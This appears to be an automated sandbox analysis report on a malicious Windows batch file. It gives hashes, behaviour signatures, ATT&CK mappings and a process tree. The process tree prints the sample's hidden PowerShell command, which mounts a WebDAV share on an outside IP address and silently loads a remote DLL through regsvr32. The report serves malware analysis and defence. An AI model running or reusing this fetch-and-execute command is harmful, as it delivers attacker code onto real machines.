a8e0b9b4296ccfbf5457b30d130a4b5d58484eff1521f7986e116addd9dd2bc7

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 05:55

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General

Target

2968429850127887600.bat
Size

11KB
MD5

0c4f20efaa0590c071b717c328598ee7
SHA1

5bfea24d037d1cc34bd4cad0558d3d1fdb01658a
SHA256

a8e0b9b4296ccfbf5457b30d130a4b5d58484eff1521f7986e116addd9dd2bc7
SHA512

fc4a2799c0e74f47a423f88ecba56168958f129422bec8a5da66ab2dddfaf1f970831d4f692968cc1209d09caaa4ff3cef764b05c44353b6b95984837530339e
SSDEEP

192:061XUpzPbsU7HNLkEkPohm4pSl4k+ioYTVasAubIr/vQkrzab3wi6DYRTmgy:06WfTQo0cSR+ZYa7ubuvrabT6DeTmgy

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2644	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2644	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2644	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2820	wordpad.exe
2820	wordpad.exe
2820	wordpad.exe
2820	wordpad.exe
2820	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 2820	2672	cmd.exe	31
PID 2672 wrote to memory of 2820	2672	cmd.exe	31
PID 2672 wrote to memory of 2820	2672	cmd.exe	31
PID 2672 wrote to memory of 2644	2672	cmd.exe	32
PID 2672 wrote to memory of 2644	2672	cmd.exe	32
PID 2672 wrote to memory of 2644	2672	cmd.exe	32
PID 2644 wrote to memory of 2528	2644	powershell.exe	34
PID 2644 wrote to memory of 2528	2644	powershell.exe	34
PID 2644 wrote to memory of 2528	2644	powershell.exe	34
PID 2644 wrote to memory of 2580	2644	powershell.exe	35
PID 2644 wrote to memory of 2580	2644	powershell.exe	35
PID 2644 wrote to memory of 2580	2644	powershell.exe	35
PID 2644 wrote to memory of 2580	2644	powershell.exe	35
PID 2644 wrote to memory of 2580	2644	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\2968429850127887600.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\263344443387.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2528
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\263344443387.dll
    3⤵
    PID:2580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2644-23-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2644-24-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download